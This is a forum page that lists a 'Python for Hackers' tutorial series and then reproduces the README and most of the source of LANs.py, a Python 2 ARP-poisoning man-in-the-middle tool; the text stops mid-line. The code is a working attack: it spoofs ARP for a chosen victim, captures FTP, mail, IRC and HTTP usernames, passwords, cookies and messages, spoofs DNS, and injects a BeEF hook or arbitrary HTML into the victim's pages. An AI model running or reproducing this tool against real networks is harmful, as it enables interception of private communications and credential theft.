Search the Community
Showing results for tags 'python'.
-
🐍 Python for Hackers: Learn by building - @hacklido #01 - SSH Bruteforcer using Asynchronous Programming (https://hacklido.com/blog/525-python-for-hackers-1-ssh-bruteforcer-using-asynchronous-programming) #02 - FTP Bruteforcer using asynchronous Programming (https://hacklido.com/blog/526-python-for-hackers-2-ftp-bruteforcer-using-asynchronous-programming) #03 - Building Directory Buster using asynchronous programming (https://hacklido.com/blog/565-python-for-hackers-3-building-directory-buster-using-asynchronous-programming) #04 - Building Arp Spoofing/Posioning Script (https://hacklido.com/blog/580-python-for-hackers-4-building-arp-spoofingposioning-script) #05 - Building A Mutlithreaded Network Scanner (https://hacklido.com/blog/642-python-for-hacker-5-building-a-mutlithreaded-network-scanner) #06 - Building A Recursive Web Crawler (https://hacklido.com/blog/647-python-for-hackers-6-building-a-recursive-web-crawler) #07 - Building a multithreaded Subdomain Bruteforcer (https://hacklido.com/blog/653-python-for-hackers-7-building-a-multithreaded-subdomain-bruteforcer) #08 - Building A PDF Password Brute Forcer (https://hacklido.com/blog/654-python-for-hackers-8-building-a-pdf-password-brute-forcer) #09 - Building a Hash Cracker (https://hacklido.com/blog/655-python-for-hackers-9-building-a-hash-cracker) #10 - Building a reverse shell (https://hacklido.com/blog/656-python-for-hackers-10-building-a-reverse-shell) 🔖 Collection: https://hacklido.com/lists/5
-
- python
- python for hackers
-
(and 1 more)
Tagged with:
-
Multithreaded asynchronous packet parsing/injecting ARP poisoner. Individually poisons the ARP tables of the target box, the router and the DNS server if necessary. Does not poison anyone else on the network. Displays all most the interesting bits of their traffic and can inject custom html into pages they visit. Cleans up after itself. Prereqs: Linux, scapy, python nfqueue-bindings 0.4.3+, aircrack-ng, python twisted, BeEF (optional), and a wireless card capable of promiscuous mode if you choose not to use the -ip option Tested on Kali 1.0. In the following examples 192.168.0.5 will be the attacking machine and 192.168.0.10 will be the victim. All options: python LANs.py [-h] [-b BEEF] [-c CODE] [-u] [-ip IPADDRESS] [-vmac VICTIMMAC] [-d] [-v] [-dns DNSSPOOF] [-r IPADDRESS] [-set] [-p] [-na] [-n] [-i INTERFACE] [-rip ROUTERIP] [-rmac ROUTERMAC] [-pcap PCAP] Usage Simplest usage (including active user targeting): python LANs.py Because there's no -ip option this will ARP scan the network, compare it to a live running promiscuous capture, and list all the clients on the network including their Windows netbios names along with how many data packets they're sending. so you can immediately target the active ones. The ability to capture data packets they send is very dependent on physical proximity and the power of your network card. then you can Ctrl-C and pick your target which it will then ARP spoof. Simple target identification and ARP spoofing. Passive harvesting: python LANs.py -u -d -p -ip 192.168.0.10 -u: prints URLs visited; truncates at 150 characters and filters image/css/js/woff/svg urls since they spam the output and are uninteresting -d: open an xterm with driftnet to see all images they view -p: print username/passwords for FTP/IMAP/POP/IRC/HTTP, HTTP POSTs made, all searches made, incoming/outgoing emails, and IRC messages sent/received; will also decode base64 if the email authentication is encrypted with it -ip: target this IP address Easy to remember and will probably be the most common usage of the script: options u, d, p, like udp/tcp. HTML injection: python LANs.py -b http://192.168.0.5:3000/hook.js Inject a BeEF hook URL (BeEF - The Browser Exploitation Framework Project, tutorial: The Browser Exploitation Framework (BeEF) – Part 1 - InfoSec Institute) into pages the victim visits. python LANs.py -c '<title>Owned.</title>' Inject arbitrary HTML into pages the victim visits. First tries to inject it after the first <head> and failing that injects prior to the first </head>. This example will change the page title to 'Owned.' Read from pcap: python LANs.py -pcap libpcapfilename -ip 192.168.0.10 To read from a pcap file you must include the target's IP address with the -ip option. It must also be in libpcap form which is the most common anyway. One advantage of reading from a pcap file is that you do not need to be root to execute the script. Most aggressive usage: python LANs.py -v -d -p -n -na -set -dns facebook.com -r 74.125.225.64 -c '<title>Owned.</title>' -b http://192.168.0.5:3000/hook.js -ip 192.168.0.10 #!/usr/bin/env python2 ''' Description: ARP poisons a LAN victim and prints all the interesting unencrypted info like usernames, passwords and messages. Asynchronous multithreaded arp spoofing packet parser. Prerequisites: Linux nmap (optional) nbtscan (optional) aircrack-ng Python 2.6+ nfqueue-bindings 0.4-3 scapy twisted Note: This script flushes iptables before and after usage. To do: Add karma MITM technique Add SSL proxy for self-signed cert, and make the script force a single JS popup saying there's a temporary problem with SSL validation and to just click through Add anticaching (just edit the headers) Ability to add option which will add a delay, allowing user to modify HTML/email/irc/usernames and passwords on the fly (how much interest is there in this?) ''' __author__ = 'Dan McInerney' __license__ = 'BSD' __contact__ = 'danhmcinerney with gmail' __version__ = 1.0 try: import nfqueue except Exception: nfq = raw_input('[-] python-nfqueue not installed, would you like to install now? (apt-get install -y python-nfqueue will be run if yes) [y/n]: ') if nfq == 'y': os.system('apt-get install -y python-nfqueue') else: exit('[-] Exiting due to missing dependency') import logging logging.getLogger("scapy.runtime").setLevel(logging.ERROR) from scapy.all import * conf.verb=0 #Below is necessary to receive a response to the DHCP packets because we're sending to 255.255.255.255 but receiving from the IP of the DHCP server conf.checkIPaddr=0 from sys import exit from threading import Thread import argparse from os import geteuid, devnull import signal from base64 import b64decode from subprocess import * from twisted.internet import reactor from twisted.internet.interfaces import IReadDescriptor from twisted.internet.protocol import Protocol, Factory from zlib import decompressobj, decompress import gzip from cStringIO import StringIO import requests def parse_args(): #Create the arguments parser = argparse.ArgumentParser() parser.add_argument("-b", "--beef", help="Inject a BeEF hook URL. Example usage: -b http://192.168.0.3:3000/hook.js") parser.add_argument("-c", "--code", help="Inject arbitrary html. Example usage (include quotes): -c '<title>New title</title>'") parser.add_argument("-u", "--urlspy", help="Show all URLs and search terms the victim visits or enters minus URLs that end in .jpg, .png, .gif, .css, and .js to make the output much friendlier. Also truncates URLs at 150 characters. Use -v to print all URLs and without truncation.", action="store_true") parser.add_argument("-ip", "--ipaddress", help="Enter IP address of victim and skip the arp ping at the beginning which would give you a list of possible targets. Usage: -ip <victim IP>") parser.add_argument("-vmac", "--victimmac", help="Set the victim MAC; by default the script will attempt a few different ways of getting this so this option hopefully won't be necessary") parser.add_argument("-d", "--driftnet", help="Open an xterm window with driftnet.", action="store_true") parser.add_argument("-v", "--verboseURL", help="Shows all URLs the victim visits but doesn't limit the URL to 150 characters like -u does.", action="store_true") parser.add_argument("-dns", "--dnsspoof", help="Spoof DNS responses of a specific domain. Enter domain after this argument. An argument like [facebook.com] will match all subdomains of facebook.com") parser.add_argument("-set", "--setoolkit", help="Start Social Engineer's Toolkit in another window.", action="store_true") parser.add_argument("-p", "--post", help="Print unsecured HTTP POST loads, IMAP/POP/FTP/IRC/HTTP usernames/passwords and incoming/outgoing emails. Will also decode base64 encrypted POP/IMAP username/password combos for you.", action="store_true") parser.add_argument("-na", "--nmapaggressive", help="Aggressively scan the target for open ports and services in the background. Output to ip.add.re.ss.log.txt where ip.add.re.ss is the victim's IP.", action="store_true") parser.add_argument("-n", "--nmap", help="Scan the target for open ports prior to starting to sniffing their packets.", action="store_true") parser.add_argument("-i", "--interface", help="Choose the interface to use. Default is the first one that shows up in `ip route`.") parser.add_argument("-r", "--redirectto", help="Must be used with -dns DOMAIN option. Redirects the victim to the IP in this argument when they visit the domain in the -dns DOMAIN option") parser.add_argument("-rip", "--routerip", help="Set the router IP; by default the script with attempt a few different ways of getting this so this option hopefully won't be necessary") parser.add_argument("-rmac", "--routermac", help="Set the router MAC; by default the script with attempt a few different ways of getting this so this option hopefully won't be necessary") parser.add_argument("-pcap", "--pcap", help="Parse through a pcap file") return parser.parse_args() #Console colors W = '\033[0m' # white (normal) R = '\033[31m' # red G = '\033[32m' # green O = '\033[33m' # orange B = '\033[34m' # blue P = '\033[35m' # purple C = '\033[36m' # cyan GR = '\033[37m' # gray T = '\033[93m' # tan logger = open('LANspy.log.txt', 'w+') DN = open(devnull, 'w') class Spoof(): def originalMAC(self, ip): # srp is for layer 2 packets with Ether layer, sr is for layer 3 packets like ARP and IP ans,unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip), timeout=5, retry=3) for s,r in ans: return r.sprintf("%Ether.src%") def poison(self, routerIP, victimIP, routerMAC, victimMAC): send(ARP(op=2, pdst=victimIP, psrc=routerIP, hwdst=victimMAC)) send(ARP(op=2, pdst=routerIP, psrc=victimIP, hwdst=routerMAC)) def restore(self, routerIP, victimIP, routerMAC, victimMAC): send(ARP(op=2, pdst=routerIP, psrc=victimIP, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=victimMAC), count=3) send(ARP(op=2, pdst=victimIP, psrc=routerIP, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=routerMAC), count=3) class Parser(): # Mail, irc, post parsing OheadersFound = [] IheadersFound = [] IMAPauth = 0 IMAPdest = '' POPauth = 0 POPdest = '' Cookies = [] IRCnick = '' mail_passwds = [] oldmailack = '' oldmailload = '' mailfragged = 0 # http parsing oldHTTPack = '' oldHTTPload = '' HTTPfragged = 0 # html injection block_acks = [] html_url = '' user_agent = None def __init__(self, args): self.args = args def start(self, payload): if self.args.pcap: if self.args.ipaddress: try: pkt = payload[iP] except Exception: return else: try: pkt = IP(payload.get_data()) except Exception: return IP_layer = pkt[iP] IP_dst = pkt[iP].dst IP_src = pkt[iP].src if self.args.urlspy or self.args.post or self.args.beef or self.args.code: if pkt.haslayer(Raw): if pkt.haslayer(TCP): dport = pkt[TCP].dport sport = pkt[TCP].sport ack = pkt[TCP].ack seq = pkt[TCP].seq load = pkt[Raw].load mail_ports = [25, 26, 110, 143] if dport in mail_ports or sport in mail_ports: self.mailspy(load, dport, sport, IP_dst, IP_src, mail_ports, ack) if dport == 6667 or sport == 6667: self.irc(load, dport, sport, IP_src) if dport == 21 or sport == 21: self.ftp(load, IP_dst, IP_src) if dport == 80 or sport == 80: self.http_parser(load, ack, dport) if self.args.beef or self.args.code: self.injecthtml(load, ack, pkt, payload, dport, sport) if self.args.dnsspoof: if pkt.haslayer(DNSQR): dport = pkt[uDP].dport sport = pkt[uDP].sport if dport == 53 or sport == 53: dns_layer = pkt[DNS] self.dnsspoof(dns_layer, IP_src, IP_dst, sport, dport, payload) def get_user_agent(self, header_lines): for h in header_lines: user_agentre = re.search('[uu]ser-[Aa]gent: ', h) if user_agentre: return h.split(user_agentre.group(), 1)[1] def injecthtml(self, load, ack, pkt, payload, dport, sport): for x in self.block_acks: if ack == x: payload.set_verdict(nfqueue.NF_DROP) return ack = str(ack) if self.args.beef: bhtml = '<script src='+self.args.beef+'></script>' if self.args.code: chtml = self.args.code try: headers, body = load.split("\r\n\r\n", 1) except Exception: headers = load body = '' header_lines = headers.split("\r\n") if dport == 80: post = None get = self.get_get(header_lines) host = self.get_host(header_lines) self.html_url = self.get_url(host, get, post) if self.html_url: d = ['.jpg', '.jpeg', '.gif', '.png', '.css', '.ico', '.js', '.svg', '.woff'] if any(i in self.html_url for i in d): self.html_url = None payload.set_verdict(nfqueue.NF_ACCEPT) return else: payload.set_verdict(nfqueue.NF_ACCEPT) return self.user_agent = "'"+self.get_user_agent(header_lines)+"'" if not self.user_agent: # Most common user-agent on the internet self.user_agent = "'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.101 Safari/537.36'" payload.set_verdict(nfqueue.NF_ACCEPT) return if sport == 80 and self.html_url and 'Content-Type: text/html' in headers: # This can be done better, probably using filter() header_lines = [x for x in header_lines if 'transfer-encoding' not in x.lower()] for h in header_lines: if '1.1 302' in h or '1.1 301' in h: # Allow redirects to go thru unperturbed payload.set_verdict(nfqueue.NF_ACCEPT) self.html_url = None return UA_header = {'User-Agent':self.user_agent} r = requests.get('http://'+self.html_url, headers=UA_header) try: body = r.text.encode('utf-8') except Exception: payload.set_verdict(nfqueue.NF_ACCEPT) debugger = open('/home/user/projects/origBody', 'w') debugger.write(body) debugger.close() # INJECT if self.args.beef: if '<html' in body or '/html>' in body: try: psplit = body.split('</head>', 1) body = psplit[0]+bhtml+'</head>'+psplit[1] except Exception: try: psplit = body.split('<head>', 1) body = psplit[0]+'<head>'+bhtml+psplit[1] except Exception: if not self.args.code: self.html_url = None payload.set_verdict(nfqueue.NF_ACCEPT) return else: pass if self.args.code: if '<html' in body or '/html>' in body: try: psplit = body.split('<head>', 1) body = psplit[0]+'<head>'+chtml+psplit[1] except Exception: try: psplit = body.split('</head>', 1) body = psplit[0]+chtml+'</head>'+psplit[1] except Exception: self.html_url = None payload.set_verdict(nfqueue.NF_ACCEPT) return # Recompress data if necessary if 'Content-Encoding: gzip' in headers: if body != '': # debugger = open('/home/user/projects/injectedBody', 'w') # debugger.write(body) # debugger.close() try: comp_body = StringIO() f = gzip.GzipFile(fileobj=comp_body, mode='w', compresslevel = 9) f.write(body) f.close() body = comp_body.getvalue() except Exception: try: pkt[Raw].load = headers+"\r\n\r\n"+body pkt[iP].len = len(str(pkt)) del pkt[iP].chksum del pkt[TCP].chksum payload.set_verdict(nfqueue.NF_DROP) send(pkt) print '[-] Could not recompress html, sent packet as is' self.html_url = None return except Exception: self.html_url = None payload.set_verdict(nfqueue.NF_ACCEPT) return headers = "\r\n".join(header_lines) pkt[Raw].load = headers+"\r\n\r\n"+body pkt[iP].len = len(str(pkt)) del pkt[iP].chksum del pkt[TCP].chksum try: send(pkt) print R+'[!] Injected HTML into packet for '+W+self.html_url logger.write('[!] Injected HTML into packet for '+self.html_url) self.block_acks.append(ack) payload.set_verdict(nfqueue.NF_DROP) self.html_url = None except Exception: payload.set_verdict(nfqueue.NF_ACCEPT) self.html_url = None print '[-] Failed to inject packet' return if len(self.block_acks) > 30: self.block_acks = self.block_acks[5:] def get_host(self, header_lines): for l in header_lines: searchHost = re.search('[Hh]ost: ', l) if searchHost: try: return l.split('Host: ', 1)[1] except Exception: try: return l.split('host: ', 1)[1] except Exception: return def get_get(self, header_lines): for l in header_lines: searchGet = re.search('GET /', l) if searchGet: try: return l.split('GET ')[1].split(' ')[0] except Exception: return def get_post(self, header_lines): for l in header_lines: searchPost = re.search('POST /', l) if searchPost: try: return l.split(' ')[1].split(' ')[0] except Exception: return def get_url(self, host, get, post): if host: if post: return host+post if get: return host+get # Catch search terms # As it stands now this has a moderately high false positive rate mostly due to the common ?s= and ?q= vars # I figured better to err on the site of more data than less and it's easy to tell the false positives from the real searches def searches(self, url, host): # search, query, search?q, ?s, &q, ?q, search?p, searchTerm, keywords, command searched = re.search('((search|query|search\?q|\?s|&q|\?q|search\?p|search[Tt]erm|keywords|command)=([^&][^&]*))', url) if searched: searched = searched.group(3) # Common false positives if 'select%20*%20from' in searched: pass if host == 'geo.yahoo.com': pass else: searched = searched.replace('+', ' ').replace('%20', ' ').replace('%3F', '?').replace('%27', '\'').replace('%40', '@').replace('%24', '$').replace('%3A', ':').replace('%3D', '=').replace('%22', '\"').replace('%24', '$') print T+'[+] Searched '+W+host+T+': '+searched+W logger.write('[+] Searched '+host+ ' for: '+searched+'\n') def post_parser(self, url, body, host, header_lines): if 'ocsp' in url: print B+'[+] POST: '+W+url logger.write('[+] POST: '+url+'\n') elif body != '': try: urlsplit = url.split('/') url = urlsplit[0]+'/'+urlsplit[1] except Exception: pass if self.HTTPfragged == 1: print B+'[+] Fragmented POST: '+W+url+B+" HTTP POST's combined load: "+body+W logger.write('[+] Fragmented POST: '+url+" HTTP POST's combined load: "+body+'\n') else: print B+'[+] POST: '+W+url+B+' HTTP POST load: '+body+W logger.write('[+] POST: '+url+" HTTP POST's combined load: "+body+'\n') # If you see any other login/pw variable names, tell me and I'll add em in here # As it stands now this has a moderately high false positive rate; I figured better to err on the site of more data than less # email, user, username, name, login, log, loginID user_regex = '([Ee]mail|[uu]ser|[uu]sername|[Nn]ame|[Ll]ogin|[Ll]og|[Ll]ogin[ii][Dd])=([^&|;]*)' # password, pass, passwd, pwd, psw, passwrd, passw pw_regex = '([Pp]assword|[Pp]ass|[Pp]asswd|[Pp]wd|[Pp][ss][Ww]|[Pp]asswrd|[Pp]assw)=([^&|;]*)' username = re.findall(user_regex, body) password = re.findall(pw_regex, body) self.user_pass(username, password) self.cookies(host, header_lines) def http_parser(self, load, ack, dport): load = repr(load)[1:-1] # Catch fragmented HTTP posts if dport == 80 and load != '': if ack == self.oldHTTPack: self.oldHTTPload = self.oldHTTPload+load load = self.oldHTTPload self.HTTPfragged = 1 else: self.oldHTTPload = load self.oldHTTPack = ack self.HTTPfragged = 0 try: headers, body = load.split(r"\r\n\r\n", 1) except Exception: headers = load body = '' header_lines = headers.split(r"\r\n") host = self.get_host(header_lines) get = self.get_get(header_lines) post = self.get_post(header_lines) url = self.get_url(host, get, post) # print urls if url: #Print the URL if self.args.verboseURL: print '[*] '+url logger.write('[*] '+url+'\n') if self.args.urlspy: d = ['.jpg', '.jpeg', '.gif', '.png', '.css', '.ico', '.js', '.svg', '.woff'] if any(i in url for i in d): return if len(url) > 146: print '[*] '+url[:145] logger.write('[*] '+url[:145]+'\n') else: print '[*] '+url logger.write('[*] '+url+'\n') # Print search terms self.searches(url, host) #Print POST load and find cookies if self.args.post and post: self.post_parser(url, body, host, header_lines) def ftp(self, load, IP_dst, IP_src): load = repr(load)[1:-1].replace(r"\r\n", "") if 'USER ' in load: print R+'[!] FTP '+load+' SERVER: '+IP_dst+W logger.write('[!] FTP '+load+' SERVER: '+IP_dst+'\n') if 'PASS ' in load: print R+'[!] FTP '+load+' SERVER: '+IP_dst+W logger.write('[!] FTP '+load+' SERVER: '+IP_dst+'\n') if 'authentication failed' in load: print R+'[*] FTP '+load+W logger.write('[*] FTP '+load+'\n') def irc(self, load, dport, sport, IP_src): load = repr(load)[1:-1].split(r"\r\n") if self.args.post: if IP_src == victimIP: if 'NICK ' in load[0]: self.IRCnick = load[0].split('NICK ')[1] server = load[1].replace('USER user user ', '').replace(' :user', '') print R+'[!] IRC username: '+self.IRCnick+' on '+server+W logger.write('[!] IRC username: '+self.IRCnick+' on '+server+'\n') if 'NS IDENTIFY ' in load[0]: ircpass = load[0].split('NS IDENTIFY ')[1] print R+'[!] IRC password: '+ircpass+W logger.write('[!] IRC password: '+ircpass+'\n') if 'JOIN ' in load[0]: join = load[0].split('JOIN ')[1] print C+'[+] IRC joined: '+W+join logger.write('[+] IRC joined: '+join+'\n') if 'PART ' in load[0]: part = load[0].split('PART ')[1] print C+'[+] IRC left: '+W+part logger.write('[+] IRC left: '+part+'\n') if 'QUIT ' in load[0]: quit = load[0].split('QUIT :')[1] print C+'[+] IRC quit: '+W+quit logger.write('[+] IRC quit: '+quit+'\n') # Catch messages from the victim to an IRC channel if 'PRIVMSG ' in load[0]: if IP_src == victimIP: load = load[0].split('PRIVMSG ')[1] channel = load.split(' :', 1)[0] ircmsg = load.split(' :', 1)[1] if self.IRCnick != '': print C+'[+] IRC victim '+W+self.IRCnick+C+' to '+W+channel+C+': '+ircmsg+W logger.write('[+] IRC '+self.IRCnick+' to '+channel+': '+ircmsg+'\n') else: print C+'[+] IRC msg to '+W+channel+C+': '+ircmsg+W logger.write('[+] IRC msg to '+channel+':'+ircmsg+'\n') # Catch messages from others that tag the victim's nick elif self.IRCnick in load[0] and self.IRCnick != '': sender_nick = load[0].split(':', 1)[1].split('!', 1)[0] try: load = load[0].split('PRIVMSG ')[1].split(' :', 1) channel = load[0] ircmsg = load[1] print C+'[+] IRC '+W+sender_nick+C+' to '+W+channel+C+': '+ircmsg[1:]+W logger.write('[+] IRC '+sender_nick+' to '+channel+': '+ircmsg[1:]+'\n') except Exception: return def cookies(self, host, header_lines): for x in header_lines: if 'Cookie:' in x: if x in self.Cookies: return elif 'safebrowsing.clients.google.com' in host: return else: self.Cookies.append(x) print P+'[+] Cookie found for '+W+host+P+' logged in LANspy.log.txt'+W logger.write('[+] Cookie found for'+host+':'+x.replace('Cookie: ', '')+'\n') def user_pass(self, username, password): if username: for u in username: print R+'[!] Username found: '+u[1]+W logger.write('[!] Username: '+u[1]+'\n') if password: for p in password: if p[1] != '': print R+'[!] Password: '+p[1]+W logger.write('[!] Password: '+p[1]+'\n') def mailspy(self, load, dport, sport, IP_dst, IP_src, mail_ports, ack): load = repr(load)[1:-1] # Catch fragmented mail packets if ack == self.oldmailack: if load != r'.\r\n': self.oldmailload = self.oldmailload+load load = self.oldmailload self.mailfragged = 1 else: self.oldmailload = load self.oldmailack = ack self.mailfragged = 0 try: headers, body = load.split(r"\r\n\r\n", 1) except Exception: headers = load body = '' header_lines = headers.split(r"\r\n") email_headers = ['Date: ', 'Subject: ', 'To: ', 'From: '] # Find passwords if dport in [25, 26, 110, 143]: self.passwords(IP_src, load, dport, IP_dst) # Find outgoing messages if dport == 26 or dport == 25: self.outgoing(load, body, header_lines, email_headers, IP_src) # Find incoming messages if sport in [110, 143]: self.incoming(headers, body, header_lines, email_headers, sport, dport) def passwords(self, IP_src, load, dport, IP_dst): load = load.replace(r'\r\n', '') if dport == 143 and IP_src == victimIP and len(load) > 15: if self.IMAPauth == 1 and self.IMAPdest == IP_dst: # Don't double output mail passwords for x in self.mail_passwds: if load in x: self.IMAPauth = 0 self.IMAPdest = '' return print R+'[!] IMAP user and pass found: '+load+W logger.write('[!] IMAP user and pass found: '+load+'\n') self.mail_passwds.append(load) self.decode(load, dport) self.IMAPauth = 0 self.IMAPdest = '' if "authenticate plain" in load: self.IMAPauth = 1 self.IMAPdest = IP_dst if dport == 110 and IP_src == victimIP: if self.POPauth == 1 and self.POPdest == IP_dst and len(load) > 10: # Don't double output mail passwords for x in self.mail_passwds: if load in x: self.POPauth = 0 self.POPdest = '' return print R+'[!] POP user and pass found: '+load+W logger.write('[!] POP user and pass found: '+load+'\n') self.mail_passwds.append(load) self.decode(load, dport) self.POPauth = 0 self.POPdest = '' if 'AUTH PLAIN' in load: self.POPauth = 1 self.POPdest = IP_dst if dport == 26: if 'AUTH PLAIN ' in load: # Don't double output mail passwords for x in self.mail_passwds: if load in x: self.POPauth = 0 self.POPdest = '' return print R+'[!] Mail authentication found: '+load+W logger.write('[!] Mail authentication found: '+load+'\n') self.mail_passwds.append(load) self.decode(load, dport) def outgoing(self, headers, body, header_lines, email_headers, IP_src): if 'Message-ID' in headers: for l in header_lines: for x in email_headers: if x in l: self.OheadersFound.append(l) # if date, from, to, in headers then print the message if len(self.OheadersFound) > 3 and body != '': if self.mailfragged == 1: print O+'[!] OUTGOING MESSAGE (fragmented)'+W logger.write('[!] OUTGOING MESSAGE (fragmented)\n') for x in self.OheadersFound: print O+' ',x+W logger.write(' '+x+'\n') print O+' Message:',body+W logger.write(' Message:'+body+'\n') else: print O+'[!] OUTGOING MESSAGE'+W logger.write('[!] OUTGOING MESSAGE\n') for x in self.OheadersFound: print O+' ',x+W logger.write(' '+x+'\n') print O+' Message:',body+W logger.write(' Message:'+body+'\n') self.OheadersFound = [] def incoming(self, headers, body, header_lines, email_headers, sport, dport): message = '' for l in header_lines: for x in email_headers: if x in l: self.IheadersFound.append(l) if len(self.IheadersFound) > 3 and body != '': if "BODY[TEXT]" not in body: try: beginning = body.split(r"\r\n", 1)[0] body1 = body.split(r"\r\n\r\n", 1)[1] message = body1.split(beginning)[0][:-8] #get rid of last \r\n\r\n except Exception: return if message != '': if self.mailfragged == 1: print O+'[!] INCOMING MESSAGE (fragmented)'+W logger.write('[!] INCOMING MESSAGE (fragmented)\n') for x in self.IheadersFound: print O+' '+x+W logger.write(' '+x+'\n') print O+' Message: '+message+W logger.write(' Message: '+message+'\n') else: print O+'[!] INCOMING MESSAGE'+W logger.write('[!] INCOMING MESSAGE\n') for x in self.IheadersFound: print O+' '+x+W logger.write(' '+x+'\n') print O+' Message: '+message+W logger.write(' Message: '+message+'\n') self.IheadersFound = [] def decode(self, load, dport): decoded = '' if dport == 25 or dport == 26: try: b64str = load.replace("AUTH PLAIN ", "").replace(r"\r\n", "") decoded = repr(b64decode(b64str))[1:-1].replace(r'\x00', ' ') except Exception: pass else: try: b64str = load decoded = repr(b64decode(b64str))[1:-1].replace(r'\x00', ' ') except Exception: pass # Test to see if decode worked if '@' in decoded: print R+'[!] Decoded:'+decoded+W logger.write('[!] Decoded:'+decoded+'\n') # Spoof DNS for a specific domain to point to your machine # Make this more reliable by blocking all DNS responses from the server using the IP_src maybe a self.dnsSrc var def dnsspoof(self, dns_layer, IP_src, IP_dst, sport, dport, payload): if self.args.dnsspoof: if self.args.dnsspoof in dns_layer.qd.qname and not self.args.redirectto: localIP = [x[4] for x in scapy.all.conf.route.routes if x[2] != '0.0.0.0'][0] self.dnsspoof_actions(dns_layer, IP_src, IP_dst, sport, dport, payload, localIP) elif self.args.dnsspoof in dns_layer.qd.qname and self.args.redirectto: self.dnsspoof_actions(dns_layer, IP_src, IP_dst, sport, dport, payload, self.args.redirectto) def dnsspoof_actions(self, dns_layer, IP_src, IP_dst, sport, dport, payload, rIP): payload.set_verdict(nfqueue.NF_DROP) print G+'[+] DNS request for '+W+self.args.dnsspoof+G+' found; dropping packet and injecting spoofed one redirecting to '+W+rIP logger.write('[+] DNS request for '+self.args.dnsspoof+' found; dropping packet and injecting spoofed one redirecting to '+rIP+'\n') p = IP(dst=IP_src, src=IP_dst)/UDP(dport=sport, sport=dport)/DNS(id=dns_layer.id, qr=1, aa=1, qd=dns_layer.qd, an=DNSRR(rrname=dns_layer.qd.qname, ttl=10, rdata=rIP)) send(p) print G+'[!] Sent spoofed packet for '+W+self.args.dnsspoof+G+' to '+W+rIP logger.write('[!] Sent spoofed packet for '+self.args.dnsspoof+' to '+rIP+'\n') #Wrap the nfqueue object in an IReadDescriptor and run the process_pending function in a .doRead() of the twisted IReadDescriptor class Queued(object): def __init__(self, args): self.q = nfqueue.queue() self.q.set_callback(Parser(args).start) self.q.fast_open(0, socket.AF_INET) self.q.set_queue_maxlen(5000) reactor.addReader(self) self.q.set_mode(nfqueue.NFQNL_COPY_PACKET) print '[*] Flushed firewall and forwarded traffic to the queue; waiting for data' def fileno(self): return self.q.get_fd() def doRead(self): self.q.process_pending(20) def connectionLost(self, reason): reactor.removeReader(self) def logPrefix(self): return 'queued' class active_users(): IPandMAC = [] start_time = time.time() current_time = 0 monmode = '' def pkt_cb(self, pkt): if pkt.haslayer(Dot11): pkt = pkt[Dot11] if pkt.type == 2: addresses = [pkt.addr1.upper(), pkt.addr2.upper(), pkt.addr3.upper()] for x in addresses: for y in self.IPandMAC: if x in y[1]: y[2] = y[2]+1 self.current_time = time.time() if self.current_time > self.start_time+1: self.IPandMAC.sort(key=lambda x: float(x[2]), reverse=True) # sort by data packets os.system('/usr/bin/clear') print '[*] '+T+'IP address'+W+' and '+R+'data packets'+W+' sent/received' print '---------------------------------------------' for x in self.IPandMAC: if len(x) == 3: ip = x[0].ljust(16) data = str(x[2]).ljust(5) print T+ip+W, R+data+W else: ip = x[0].ljust(16) data = str(x[2]).ljust(5) print T+ip+W, R+data+W, x[3] print '\n[*] Hit Ctrl-C at any time to stop and choose a victim IP' self.start_time = time.time() def users(self, IPprefix, routerIP): print '[*] Running ARP ping to identify users on the network; this may take a minute...' iplist = [] maclist = [] try: nmap = Popen(['/usr/bin/nmap', '-sn', '-n', IPprefix], stdout=PIPE, stderr=DN) nmap = nmap.communicate()[0] nmap = nmap.splitlines()[2:-1] except Exception: print '[-] Nmap ARP ping failed, is nmap installed?' for x in nmap: if 'Nmap' in x: pieces = x.split() nmapip = pieces[len(pieces)-1] nmapip = nmapip.replace('(','').replace(')','') iplist.append(nmapip) if 'MAC' in x: nmapmac = x.split()[2] maclist.append(nmapmac) zipped = zip(iplist, maclist) self.IPandMAC = [list(item) for item in zipped] # Make sure router is caught in the arp ping r = 0 for i in self.IPandMAC: i.append(0) if r == 0: if routerIP == i[0]: i.append('router') routerMAC = i[1] r = 1 if r == 0: exit('[-] Router MAC not found. Exiting.') # Do nbtscan for windows netbios names print '[*] Running nbtscan to get Windows netbios names' try: nbt = Popen(['nbtscan', IPprefix], stdout=PIPE, stderr=DN) nbt = nbt.communicate()[0] nbt = nbt.splitlines() nbt = nbt[4:] except Exception: print '[-] nbtscan error, are you sure it is installed?' for l in nbt: try: l = l.split() nbtip = l[0] nbtname = l[1] except Exception: print '[-] Could not find any netbios names. Continuing without them' if nbtip and nbtname: for a in self.IPandMAC: if nbtip == a[0]: a.append(nbtname) # Start monitor mode print '[*] Enabling monitor mode [/usr/sbin/airmon-ng ' + 'start ' + interface + ']' try: promiscSearch = Popen(['/usr/sbin/airmon-ng', 'start', '%s' % interface], stdout=PIPE, stderr=DN) promisc = promiscSearch.communicate()[0] monmodeSearch = re.search('monitor mode enabled on (.+)\)', promisc) self.monmode = monmodeSearch.group(1) except Exception: exit('[-] Enabling monitor mode failed, do you have aircrack-ng installed?') sniff(iface=self.monmode, prn=self.pkt_cb, store=0) #Print all the variables def print_vars(DHCPsrvr, dnsIP, local_domain, routerIP, victimIP): print "[*] Active interface: " + interface print "[*] DHCP server: " + DHCPsrvr print "[*] DNS server: " + dnsIP print "[*] Local domain: " + local_domain print "[*] Router IP: " + routerIP print "[*] Victim IP: " + victimIP logger.write("[*] Router IP: " + routerIP+'\n') logger.write("[*] victim IP: " + victimIP+'\n') #Enable IP forwarding and flush possibly conflicting iptables rules def setup(victimMAC): open('/proc/sys/net/ipv4/ip_forward', 'w').write('1\n') print '[*] Enabled IP forwarding' os.system('/sbin/iptables -F') os.system('/sbin/iptables -X') os.system('/sbin/iptables -t nat -F') os.system('/sbin/iptables -t nat -X') # Just throw packets that are from and to the victim into the reactor os.system('/sbin/iptables -A FORWARD -p tcp -s %s -m multiport --dports 21,26,80,110,143,6667 -j NFQUEUE' % victimIP) os.system('/sbin/iptables -A FORWARD -p tcp -d %s -m multiport --dports 21,26,80,110,143,6667 -j NFQUEUE' % victimIP) os.system('/sbin/iptables -A FORWARD -p tcp -s %s -m multiport --sports 21,26,80,110,143,6667 -j NFQUEUE' % victimIP) os.system('/sbin/iptables -A FORWARD -p tcp -d %s -m multiport --sports 